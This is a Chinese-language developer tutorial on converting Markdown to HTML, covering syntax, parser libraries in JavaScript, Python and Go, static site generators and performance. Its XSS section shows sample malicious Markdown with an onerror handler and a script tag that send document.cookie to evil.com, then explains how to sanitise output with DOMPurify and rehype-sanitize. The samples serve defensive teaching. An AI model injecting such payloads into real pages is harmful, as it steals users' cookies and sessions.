Markdown 转 HTML 在线指南：开发者完全手册

1. 什么是 Markdown？为什么要转换为 HTML？

Markdown 是由 John Gruber 和 Aaron Swartz 于 2004 年创建的轻量级标记语言。其核心设计目标是创建一种易于阅读和编写的纯文本格式语法，并且可以转换为结构有效的 HTML。与 HTML 中需要写 <strong>粗体</strong> 不同，Markdown 中你只需写 **粗体**。

开发者将 Markdown 转换为 HTML 的主要原因是浏览器渲染的是 HTML 而非 Markdown。当你用 Markdown 编写文档时，必须将其转换为 HTML 才能在网页上显示。这种转换可以发生在构建时（静态站点生成器）、请求时（服务端渲染）或浏览器中（客户端 JavaScript）。

Markdown 已成为开发者文档的事实标准。GitHub、GitLab、Bitbucket、Stack Overflow、Reddit、Discord 等众多平台都支持 Markdown。README 文件、API 文档、博客文章、技术书籍甚至电子邮件通讯都通常使用 Markdown 编写。

# Hello World
This is **bold** and *italic* text.
- Item one
- Item two
[Visit DevToolBox](https://viadreams.cc)

<h1>Hello World</h1>
<p>This is <strong>bold</strong> and <em>italic</em> text.</p>
<ul>
  <li>Item one</li>
  <li>Item two</li>
</ul>
<p><a href="https://viadreams.cc">Visit DevToolBox</a></p>

2. Markdown 语法参考

本节涵盖每个开发者都应了解的核心 Markdown 语法元素，它们都可直接转换为对应的 HTML 元素。

标题

Markdown 支持六级标题，对应 HTML 的 <h1> 到 <h6>。在行首使用井号（#）。

# Heading 1       -> <h1>
## Heading 2      -> <h2>
### Heading 3     -> <h3>
#### Heading 4    -> <h4>
##### Heading 5   -> <h5>
###### Heading 6  -> <h6>

强调：粗体、斜体、删除线

用星号或下划线包围文本来添加强调。单个表示斜体（*斜体* 变为 <em>），双个表示粗体（**粗体** 变为 <strong>），三个表示两者兼有。GFM 用波浪号添加删除线（~~删除~~ 变为 <del>）。

列表：有序、无序、嵌套

无序列表使用 -、* 或 + 作为项目符号。有序列表使用数字加句点。通过缩进两到四个空格实现嵌套。Markdown 列表转换为 HTML 的 <ul>、<ol> 和 <li> 元素。

链接和图片

行内链接使用 [文本](url) 语法，转换为 <a href="url">文本</a>。图片使用相同模式加感叹号前缀：![替代文本](src) 转换为 <img src="src" alt="替代文本">。引用式链接允许你在文档底部定义 URL，使源文本更整洁。

代码：行内和代码块

用单个反引号包围行内代码：`code` 变为 <code>code</code>。代码块使用三个反引号（```）和可选的语言标识符实现语法高亮。代码块包装在 <pre><code> 元素中。

表格

表格使用竖线（|）分隔列，使用连字符（-）作为表头分隔符。列对齐通过分隔行中的冒号控制：左对齐（:---）、居中（:---:）或右对齐（---:）。表格转换为标准 HTML 的 <table>、<thead>、<tbody>、<tr>、<th> 和 <td> 元素。

| Library     | Language   | Speed   | CommonMark |
|:------------|:----------:|--------:|-----------:|
| marked      | JavaScript | Fast    | Partial    |
| remark      | JavaScript | Medium  | Yes        |
| markdown-it | JavaScript | Fast    | Yes        |
| goldmark    | Go         | V.Fast  | Yes        |

引用块和水平线

引用块在行首使用 > 字符，转换为 <blockquote>。可以通过添加额外的 > 来嵌套。水平线使用三个或更多的连字符（---）、星号（***）或下划线（___）创建，生成 <hr> 元素。

3. Markdown 变体：CommonMark、GFM 和 MDX

并非所有 Markdown 都是一样的。原始 Markdown 规范留下了许多未定义的边界情况，导致不同实现产生不同输出。以下是 2026 年最重要的三种 Markdown 变体。

CommonMark

CommonMark 是一个严格定义、高度兼容的 Markdown 规范。它的创建旨在消除原始 Markdown 规范中的歧义。CommonMark 精确定义了每种边界情况的处理方式，从嵌套列表到内联 HTML。大多数现代 Markdown 解析器（markdown-it、remark）都符合 CommonMark 或提供 CommonMark 模式。

GitHub 风格 Markdown（GFM）

GFM 是 GitHub 上使用的 CommonMark 超集。它添加了开发者日常依赖的多个扩展：带对齐的表格、带复选框的任务列表（- [x] 完成）、删除线文本、自动链接 URL 和带语言标识符的围栏代码块。GFM 还支持警告提示（[!NOTE]、[!WARNING]）和 Mermaid 图表渲染。

- [x] Task completed
- [ ] Task pending
~~strikethrough text~~
https://auto-linked-url.com

> [!NOTE]
> This is a GitHub alert callout.

> [!WARNING]
> This is a warning callout.

MDX：Markdown + JSX

MDX 允许你直接在 Markdown 内容中嵌入 JSX 组件。这在 Docusaurus 等文档框架和基于 Next.js 的博客中特别流行。使用 MDX，你可以导入 React 组件并将其与标准 Markdown 一起使用。MDX 文件通常使用 .mdx 扩展名，需要特殊编译器（@mdx-js/mdx）输出 React 组件而非 HTML 字符串。

import { Chart } from './components/Chart'
import { Callout } from './components/Callout'

# Analytics Dashboard

Here is a live chart component:

<Chart data={salesData} type="bar" />

<Callout type="info">
  MDX lets you mix Markdown with React components.
</Callout>

4. 使用 JavaScript 将 Markdown 转换为 HTML

JavaScript 提供了最多样化的 Markdown 处理器生态系统。以下是四个最流行的选项，各有不同优势。

marked

marked 是 JavaScript 中最古老且最快的 Markdown 解析器之一。它通过单次遍历将 Markdown 编译为 HTML，速度极快。默认支持 GFM，包体积小（约 35 KB 压缩后），适用于 Node.js 和浏览器环境。配置简单，支持 GFM、表格、换行和自定义渲染器等选项。

import { marked } from 'marked';

// Basic conversion
const html = marked.parse('# Hello\n**Bold** text');

// With options
marked.setOptions({
  gfm: true,
  breaks: true,
  highlight: function(code, lang) {
    return hljs.highlightAuto(code).value;
  }
});

remark（unified 生态系统）

remark 是 unified 生态系统的一部分，将内容处理为抽象语法树（AST）。这种方法让你对转换管线有细粒度的控制。remark 将 Markdown 解析为 mdast 树，可通过插件转换，然后通过 remark-rehype 和 rehype-stringify 序列化为 HTML。插件生态丰富：remark-gfm 用于 GitHub 风格 Markdown，remark-math 用于 LaTeX，remark-mermaid 用于图表等。

import { unified } from 'unified';
import remarkParse from 'remark-parse';
import remarkGfm from 'remark-gfm';
import remarkRehype from 'remark-rehype';
import rehypeStringify from 'rehype-stringify';

const result = await unified()
  .use(remarkParse)
  .use(remarkGfm)
  .use(remarkRehype)
  .use(rehypeStringify)
  .process('# Hello **world**');

console.log(String(result));
// <h1>Hello <strong>world</strong></h1>

markdown-it

markdown-it 是一个快速、符合 CommonMark 的 Markdown 解析器，具有丰富的插件架构。它使用基于令牌的方法，便于用自定义语法扩展。插件涵盖脚注、定义列表、缩写、容器等多种扩展。性能接近 marked，并提供对启用功能的细粒度控制。

import MarkdownIt from 'markdown-it';
import footnote from 'markdown-it-footnote';
import attrs from 'markdown-it-attrs';

const md = new MarkdownIt({ html: false, linkify: true })
  .use(footnote)
  .use(attrs);

const html = md.render('# Hello [^1]\n\n[^1]: A footnote');

unified 管线

unified 管线（remark + rehype）是最灵活的方法。你用 remark-parse 将 Markdown 解析为 mdast（Markdown AST），可选地转换语法树，用 remark-rehype 转换为 hast（HTML AST），添加 HTML 插件如 rehype-highlight 用于语法高亮，最后用 rehype-stringify 序列化为 HTML。这种模块化方法让你精确组合所需的管线。

5. 使用 Python 将 Markdown 转换为 HTML

Python 有多个成熟的 Markdown 库，适用于不同的使用场景。

Python-Markdown

markdown 包是标准的 Python Markdown 库。它将 Markdown 文本转换为 HTML，支持表格、围栏代码、脚注、目录等扩展。扩展可以单独加载，你也可以通过子类化预处理器、树处理器或后处理器来编写自定义扩展。

import markdown

# Basic conversion
html = markdown.markdown('# Hello **world**')

# With extensions
html = markdown.markdown(
    text,
    extensions=[
        'tables',
        'fenced_code',
        'footnotes',
        'toc',
        'codehilite',
    ]
)

mistune

mistune 是一个用纯 Python 编写的快速 Markdown 解析器。3.x 版本使用可插拔架构，支持指令和插件。它提供 HTML 渲染和 AST 输出，适用于简单转换和复杂变换。mistune 在处理大文档时比 Python-Markdown 快得多。

import mistune

# Basic usage
html = mistune.html('# Hello **world**')

# With plugins
from mistune import create_markdown
from mistune.plugins.table import table
from mistune.plugins.footnotes import footnotes

md = create_markdown(plugins=[table, footnotes])
html = md('| A | B |\n|---|---|\n| 1 | 2 |')

PyMdown Extensions

PyMdown Extensions 是 Python-Markdown 的扩展集合，添加了 BetterEm（改进的强调处理）、SuperFences（嵌套围栏代码块）、Highlight（使用 Pygments 语法高亮）、Tasklist、Emoji 等功能。常与 MkDocs 一起用于文档站点。

6. 使用 Go 将 Markdown 转换为 HTML

Go 提供高性能的 Markdown 解析器，适用于服务端渲染和静态站点生成。

goldmark

goldmark 是 Hugo（静态站点生成器）使用的默认 Markdown 解析器。它符合 CommonMark、可扩展且快速。goldmark 使用基于 AST 的方法，支持 GFM（表格、删除线、任务列表、自动链接）、语法高亮（使用 Chroma）、脚注、定义列表和排版替换等扩展。其架构便于编写自定义扩展。

package main

import (
    "bytes"
    "github.com/yuin/goldmark"
    "github.com/yuin/goldmark/extension"
)

func main() {
    md := goldmark.New(
        goldmark.WithExtensions(
            extension.GFM,
            extension.Footnote,
        ),
    )
    var buf bytes.Buffer
    source := []byte("# Hello **world**")
    md.Convert(source, &buf)
    // buf.String() => "<h1>Hello <strong>world</strong></h1>"
}

blackfriday

blackfriday（v2）是一个快速的 Go Markdown 处理器。虽然 goldmark 因其 CommonMark 兼容性和可扩展性而在新项目中更受欢迎，但 blackfriday 在现有代码库中仍被广泛使用。它支持常见扩展、智能标点和可配置标志的 HTML 渲染。

7. 代码块的语法高亮

代码块是开发者文档中最重要的 Markdown 功能之一。语法高亮将原始代码文本转换为带颜色的可读输出。以下是三种主要方法。

highlight.js

highlight.js 是使用最广泛的语法高亮器，支持超过 190 种语言和 90 多个主题。它可以在服务端和客户端运行。在 Markdown 管线中，通常通过 rehype-highlight（unified）或 marked 的 highlight 选项集成。highlight.js 在未指定语言时自动检测语言，但明确的语言提示更可靠。

Prism

Prism 是一个轻量级、可扩展的语法高亮器，具有模块化架构。语言和插件按需加载，保持包体积小。Prism 支持行号、行高亮、复制到剪贴板按钮和 diff 高亮等功能。它是 Docusaurus 和许多文档站点的默认高亮器。

Shiki

Shiki 使用 TextMate 语法和 VS Code 主题进行语法高亮，产生与 Visual Studio Code 中相同的精确着色。它在构建时运行，生成带内联样式的预高亮 HTML，因此不需要客户端 JavaScript。这使其非常适合静态站点生成器。Shiki 支持数百种语言和所有 VS Code 主题。

import { codeToHtml } from 'shiki';

const html = await codeToHtml('console.log("hello")', {
  lang: 'javascript',
  theme: 'github-dark',
});
// Returns pre-highlighted HTML with inline styles
// No client-side JS needed for rendering

8. 静态站点生成器中的 Markdown

静态站点生成器在构建时将 Markdown 文件转换为 HTML 页面。每个框架处理 Markdown 的方式不同。

Next.js

Next.js 通过多种方式支持 Markdown。你可以使用 next-mdx-remote 或 @next/mdx 获得 MDX 支持，允许在 Markdown 中使用 React 组件。对于标准 Markdown，可以使用 gray-matter 解析 frontmatter，结合 remark/rehype 进行 HTML 转换。Next.js 15+ 支持静态生成和服务器组件来处理 Markdown 内容。

// next.config.mjs - MDX support
import createMDX from '@next/mdx';

const withMDX = createMDX({
  options: {
    remarkPlugins: [remarkGfm, remarkMath],
    rehypePlugins: [rehypeKatex, rehypeHighlight],
  },
});

export default withMDX({
  pageExtensions: ['js', 'jsx', 'mdx', 'ts', 'tsx'],
});

Gatsby

Gatsby 通过 gatsby-transformer-remark 内置 Markdown 支持，底层使用 remark。gatsby-remark-images、gatsby-remark-prismjs 和 gatsby-remark-autolink-headers 等插件扩展了处理管线。Gatsby 从 Markdown 文件创建 GraphQL 节点，使其可在组件中查询。

Hugo

Hugo 使用 goldmark 作为默认 Markdown 渲染器，内置通过 Chroma 实现的语法高亮支持。Hugo 是最快的静态站点生成器，能在几秒内渲染数千个 Markdown 页面。它支持自定义短代码，用模板驱动的组件扩展 Markdown。

[markup.goldmark.renderer]
  unsafe = false

[markup.goldmark.extensions]
  footnote = true
  strikethrough = true
  table = true
  taskList = true

[markup.highlight]
  style = "monokai"
  lineNos = true

Jekyll

Jekyll 是基于 Ruby 的静态站点生成器，驱动 GitHub Pages，使用 kramdown 作为默认 Markdown 渲染器。kramdown 支持 GFM、数学块、脚注和定义列表。Jekyll 处理带 YAML front matter 的 Markdown 文件，支持 Markdown 内容中的 Liquid 模板标签。

9. Markdown 扩展：数学公式、图表、脚注

Markdown 扩展将语言扩展到基本文本格式之外，支持技术和学术内容。

数学公式与 KaTeX

KaTeX 是一个快速的数学排版库，将 LaTeX 表达式渲染为 HTML。在 Markdown 中通常使用美元符号分隔符：$行内$ 用于行内数学，$$块级$$ 用于显示数学。集成库包括 remark-math + rehype-katex（unified）、markdown-it-katex（markdown-it）以及用于客户端渲染的 katex auto-render。KaTeX 比 MathJax 快得多，输出质量高。

Inline math: $E = mc^2$

Block math:
$$
\sum_{i=1}^{n} x_i = x_1 + x_2 + \cdots + x_n
$$

Quadratic formula:
$$
x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}
$$

图表与 Mermaid

Mermaid 从 Markdown 代码块中的文本定义生成图表。它支持流程图、时序图、类图、状态图、实体关系图、甘特图等。GitHub 原生渲染 Markdown 文件中的 Mermaid 图表。在其他环境中可以使用 remark-mermaid 或通过 Mermaid JavaScript 库在客户端渲染图表。

```mermaid
graph TD
    A[Markdown Source] --> B{Parser}
    B --> C[AST]
    C --> D[Transform Plugins]
    D --> E[HTML AST]
    E --> F[Sanitize]
    F --> G[HTML Output]
```

脚注

脚注让你在文档底部添加参考文献。语法使用带脱字号的方括号：[^1] 用于引用，[^1]: 脚注文本 用于定义。大多数 Markdown 处理器通过扩展支持脚注：remark-footnotes（remark）、markdown-it-footnote（markdown-it）和 Python-Markdown 的 footnotes 扩展。

10. 安全：消毒 HTML 输出（XSS 防护）

将 Markdown 转换为 HTML 引入了一个重大安全隐患：跨站脚本（XSS）。Markdown 允许内联 HTML，这意味着攻击者可以在 Markdown 内容中注入恶意脚本，这些脚本将被渲染为 HTML。

Markdown 中的 XSS 风险

Markdown 设计上支持内联 HTML。这意味着 <script>alert("XSS")</script>、<img onerror="malicious()"> 和 <a href="javascript:..."> 等内容都可以嵌入 Markdown 并传递到 HTML 输出。如果你不经消毒就渲染用户提交的 Markdown，你就容易受到 XSS 攻击。

# Innocent looking title

<img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">

Click [here](javascript:alert('XSS'))

<script>fetch('https://evil.com/log?data='+document.cookie)</script>

DOMPurify

DOMPurify 是 JavaScript 中 HTML 消毒的黄金标准。它移除所有危险 HTML 同时保留安全内容。在将 Markdown 转换为 HTML 后使用它：先用你选择的库将 Markdown 解析为 HTML，然后通过 DOMPurify.sanitize() 处理 HTML。DOMPurify 在浏览器和 Node.js 环境中都可工作（通过 jsdom 或 isomorphic-dompurify 包）。

import { marked } from 'marked';
import DOMPurify from 'dompurify';

// Step 1: Parse Markdown to raw HTML
const rawHtml = marked.parse(userMarkdown);

// Step 2: Sanitize the HTML
const cleanHtml = DOMPurify.sanitize(rawHtml, {
  ALLOWED_TAGS: ['h1','h2','h3','p','a','ul','ol','li',
                 'code','pre','strong','em','blockquote',
                 'table','thead','tbody','tr','th','td','img'],
  ALLOWED_ATTR: ['href','src','alt','class'],
  FORBID_ATTR: ['onerror','onclick','onload'],
});

// Step 3: Render sanitized HTML safely

rehype-sanitize

如果你使用 unified/rehype 管线，rehype-sanitize 可直接集成到处理链中。它在 HTML AST 上操作，在序列化前移除危险节点。你可以使用默认的 GitHub 模式或定义自定义的标签、属性和协议允许列表。

import { unified } from 'unified';
import remarkParse from 'remark-parse';
import remarkRehype from 'remark-rehype';
import rehypeSanitize, { defaultSchema } from 'rehype-sanitize';
import rehypeStringify from 'rehype-stringify';

const result = await unified()
  .use(remarkParse)
  .use(remarkRehype, { allowDangerousHtml: false })
  .use(rehypeSanitize, defaultSchema) // GitHub-compatible schema
  .use(rehypeStringify)
  .process(userMarkdown);

安全最佳实践

始终对 Markdown 生成的 HTML 进行消毒，尤其是用户提交的内容。尽可能在 Markdown 解析器中禁用内联 HTML（大多数解析器都有此选项）。使用内容安全策略（CSP）头作为额外的防御层。在 React 中绝不要不经消毒就使用 dangerouslySetInnerHTML。对于服务端渲染的内容，在发送 HTML 到客户端之前在服务端消毒。

11. 文档系统中的 Markdown

现代文档平台建立在 Markdown 之上，每个平台都添加了自己的扩展和约定。

Docusaurus

Docusaurus（由 Meta 开发）使用 MDX 作为 Markdown 引擎，允许在文档页面中使用 React 组件。它提供内置的版本管理、搜索（Algolia）、国际化、提示框（note、tip、warning、danger）、选项卡、代码块功能（标题、行高亮、实时编辑器）和从文件系统自动生成侧边栏。

MkDocs

MkDocs 是一个基于 Python 的文档生成器，使用 Python-Markdown。结合 Material for MkDocs 主题和 PyMdown Extensions，它提供丰富的功能：提示框、选项卡内容、代码注释、图表和社交卡片。配置通过单个 mkdocs.yml 文件完成。

theme:
  name: material

markdown_extensions:
  - pymdownx.highlight:
      anchor_linenums: true
  - pymdownx.superfences:
      custom_fences:
        - name: mermaid
          class: mermaid
  - pymdownx.tabbed:
      alternate_style: true
  - pymdownx.tasklist:
      custom_checkbox: true
  - footnotes
  - admonition

Mintlify

Mintlify 是一个使用 MDX 的现代文档平台。它提供精美的默认样式、从 OpenAPI 规范生成 API 文档、内置分析、自定义组件（手风琴、卡片、选项卡、代码组）和自动部署。它在面向开发者的 API 文档中很受欢迎。

12. 性能：增量解析和缓存

处理大量 Markdown 内容时，性能变得至关重要。以下是优化 Markdown 到 HTML 转换的策略。

增量解析

增量解析不是在每次更改时重新解析整个文档，而只是更新受影响的部分。这对用户持续输入的实时预览编辑器尤其重要。CodeMirror 等库使用增量解析来保持大型 Markdown 文档的响应式编辑。

构建时缓存

静态站点生成器应缓存解析后的 Markdown 输出以避免冗余处理。Next.js 使用 ISR（增量静态再生）来缓存渲染页面。Hugo 为未更改的内容维护构建缓存。对于自定义管线，实现内容寻址缓存：对 Markdown 源进行哈希并在解析前检查现有输出。

import crypto from 'crypto';
import fs from 'fs';

function convertWithCache(markdown: string, cacheDir: string) {
  const hash = crypto
    .createHash('sha256')
    .update(markdown)
    .digest('hex');
  const cachePath = `${cacheDir}/${hash}.html`;

  if (fs.existsSync(cachePath)) {
    return fs.readFileSync(cachePath, 'utf8');
  }

  const html = marked.parse(markdown);
  fs.writeFileSync(cachePath, html);
  return html;
}

流式和懒渲染

对于大型文档，考虑流式输出 HTML 或懒渲染各部分。Next.js 中的 React 服务器组件可以逐段流式传输 Markdown 内容。对于长文档页面，使用 Intersection Observer API 配合动态导入来懒加载首屏以下的部分。

另请参阅：text diff checker

常见问题